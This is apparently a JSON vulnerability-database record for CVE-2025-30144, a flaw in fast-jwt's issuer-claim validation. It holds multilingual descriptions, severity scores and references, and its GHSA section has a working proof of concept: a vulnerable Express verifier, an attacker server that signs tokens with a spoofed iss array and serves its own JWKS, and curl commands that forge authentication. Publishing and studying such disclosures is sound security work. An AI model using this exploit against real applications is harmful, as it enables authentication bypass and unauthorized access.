{"id":"CVE-2025-30144","aliases":["CVE-2025-30144","GHSA-gm45-q3v2-6cf8"],"related":[],"kind":"vulnerability","state":"published","title":"Fast-JWT Improperly Validates iss Claims","summary":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","summarySource":"cvelist","descriptions":[{"lang":"en","text":"fast-jwt provides fast JSON Web Token (JWT) implementation. Prior to 5.0.6, the fast-jwt library does not properly validate the iss claim based on the RFC 7519. The iss (issuer) claim validation within the fast-jwt library permits an array of strings as a valid iss value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an iss claim structured as ['https://attacker-domain/', 'https://valid-iss']. Due to the permissive validation, the JWT will be deemed valid. Furthermore, if the application relies on external libraries like get-jwks that do not independently validate the iss claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the iss array, alongside the legitimate issuer, and bypass the intended security checks. This issue is fixed in 5.0.6.","source":"cvelist"},{"lang":"en","text":"### Summary\nThe `fast-jwt` library does not properly validate the `iss` claim based on the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.\n\n#### Details\nThe `iss` (issuer) claim validation within the fast-jwt library permits an array of strings as a valid `iss` value. This design flaw enables a potential attack where a malicious actor crafts a JWT with an `iss` claim structured as `['https://attacker-domain/', 'https://valid-iss']`. Due to the permissive validation, the JWT will be deemed valid.\n\nFurthermore, if the application relies on external libraries like `get-jwks` that do not independently validate the `iss` claim, the attacker can leverage this vulnerability to forge a JWT that will be accepted by the victim application. Essentially, the attacker can insert their own domain into the `iss` array, alongside the legitimate issuer, and bypass the intended security checks.\n\n#### PoC\nTake a server running the following code:\n\n```js\nconst express = require('express')\nconst buildJwks = require('get-jwks')\nconst { createVerifier } = require('fast-jwt')\n\nconst jwks = buildJwks({ providerDiscovery: true });\nconst keyFetcher = async (jwt) =>\n    jwks.getPublicKey({\n        kid: jwt.header.kid,\n        alg: jwt.header.alg,\n        domain: jwt.payload.iss\n    });\n\n\nconst jwtVerifier = createVerifier({\n    key: keyFetcher,\n    allowedIss: 'https://valid-iss',\n});\n\nconst app = express();\nconst port = 3000;\n\napp.use(express.json());\n\n\nasync function verifyToken(req, res, next) {\n  const headerAuth = req.headers.authorization.split(' ')\n  let token = '';\n  if (headerAuth.length > 1) {\n    token = headerAuth[1];\n  }\n\n  const payload = await jwtVerifier(token);\n\n  req.decoded = payload;\n  next();\n}\n\n// Endpoint to check if you are auth or not\napp.get('/auth', verifyToken, (req, res) => {\n  res.json(req.decoded);\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\nNow we build a server that will be used to generate the JWT token and send the verification keys to the victim server:\n\n```js\nconst { generateKeyPairSync } = require('crypto');\nconst express = require('express');\nconst pem2jwk = require('pem2jwk');\nconst jwt = require('jsonwebtoken');\n\nconst app = express();\nconst port = 3001;\nconst host = `http://localhost:${port}/`;\n\nconst { publicKey, privateKey } = generateKeyPairSync(\"rsa\", \n    {   modulusLength: 4096,\n        publicKeyEncoding: { type: 'pkcs1', format: 'pem' },\n        privateKeyEncoding: { type: 'pkcs1', format: 'pem' },\n    },\n); \nconst jwk = pem2jwk(publicKey);\n\napp.use(express.json());\n\n// Endpoint to create token\napp.post('/create-token', (req, res) => {\n  const token = jwt.sign({ ...req.body, iss: [host, 'https://valid-iss'],  }, privateKey, { algorithm: 'RS256' });\n  res.send(token);\n});\n\napp.get('/.well-known/jwks.json', (req, res) => {\n    return res.json({\n        keys: [{\n            ...jwk,\n            alg: 'RS256',\n            use: 'sig',\n        }]\n    });\n})\n\napp.all('*', (req, res) => {\n    return res.json({\n        \"issuer\": host,\n        \"jwks_uri\": host + '.well-known/jwks.json'\n    });\n});\n\napp.listen(port, () => {\n  console.log(`Server is running on port ${port}`);\n});\n```\n\n\n```bash\nexport TOKEN=$(curl -X POST http://localhost:3001/create-token -H \"Content-Type: application/json\" -d '{\"name\": \"test\"}')\ncurl -X GET http://localhost:3000/auth -H \"Authorization: Bearer $TOKEN\"\n```\n\n#### Impact\nApplications relaying on the validation of the `iss` claim by fast-jwt allows attackers to sign arbitrary payloads which will be accepted by the verifier.\n\n#### Solution\nChange https://github.com/nearform/fast-jwt/blob/d2b0ccb103848917848390f96f06acee339a7a19/src/verifier.js#L475 to a validator tha accepts only string for the value as stated in the RFC https://datatracker.ietf.org/doc/html/rfc7519#page-9.","format":"markdown","source":"ghsa"},{"lang":"es","text":"fast-jwt proporciona una implementación rápida de JSON Web Token (JWT). Antes de la versión 5.0.6, la librería fast-jwt no validaba correctamente la declaración iss según el RFC 7519. La validación de la declaración iss (emisor) dentro de la librería fast-jwt permite una matriz de cadenas como valor iss válido. Esta falla de diseño permite un posible ataque donde un actor malicioso manipula un JWT con una declaración iss estructurada como ['https://attacker-domain/', 'https://valid-iss']. Debido a la validación permisiva, el JWT se considerará válido. Además, si la aplicación utiliza librerías externas como get-jwks, que no validan de forma independiente la declaración iss, el atacante puede aprovechar esta vulnerabilidad para falsificar un JWT que sea aceptado por la aplicación víctima. En esencia, el atacante puede insertar su propio dominio en la matriz iss, junto con el emisor legítimo, y eludir las comprobaciones de seguridad previstas. Este problema se solucionó en la versión 5.0.6.","source":"nvd"}],"published":"2025-03-19T15:41:19.642Z","modified":"2026-06-17T09:08:14.723Z","severity":{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"},"severities":[{"scorer":"GitHub_M","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"},{"scorer":"GitHub","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","score":6.5,"rating":"MEDIUM"}],"cwes":["CWE-290","CWE-345"],"affected":[{"ranges":[{"version":"< 5.0.6","status":"affected"}],"vendor":"nearform","product":"fast-jwt","source":"cvelist"},{"ranges":[{"type":"semver","introduced":"0","status":"affected","fixed":"5.0.6"}],"ecosystem":"npm","package":"fast-jwt","purl":"pkg:npm/fast-jwt","source":"ghsa"}],"references":[{"url":"https://github.com/nearform/fast-jwt/security/advisories/GHSA-gm45-q3v2-6cf8","tags":["web","x-refsource-confirm"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://github.com/nearform/fast-jwt/commit/cc26b1d473f900446ad846f8f0b10eb1c0adcbdd","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://datatracker.ietf.org/doc/html/rfc7519#page-9","tags":["web","x-refsource-misc"],"sources":["cvelist","ghsa","nvd"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30144","tags":["advisory"],"sources":["ghsa"]},{"url":"https://github.com/nearform/fast-jwt","tags":["package"],"sources":["ghsa"]}],"credits":[],"assigner":"GitHub_M","ssvc":{"scorer":"CISA-ADP","exploitation":"poc","automatable":"no","technicalImpact":"partial","date":"2025-03-19T18:29:09.571Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2025-30144","url":"https://www.cve.org/CVERecord?id=CVE-2025-30144","licence":"CVE Terms of Use","modified":"2025-03-19T18:29:22.749Z"},{"source":"ghsa","name":"GitHub Advisory Database","id":"GHSA-gm45-q3v2-6cf8","url":"https://github.com/advisories/GHSA-gm45-q3v2-6cf8","licence":"CC-BY-4.0","modified":"2025-03-20T18:58:42.000Z"},{"source":"nvd","name":"NVD","id":"CVE-2025-30144","url":"https://nvd.nist.gov/vuln/detail/CVE-2025-30144","licence":"Public domain","modified":"2026-06-17T09:08:14.723Z"}],"updatedAt":"2026-11-25T22:58:55.356Z","epss":{"score":0.00592,"percentile":0.49665,"date":"2026-12-01T12:00:22.000Z"}}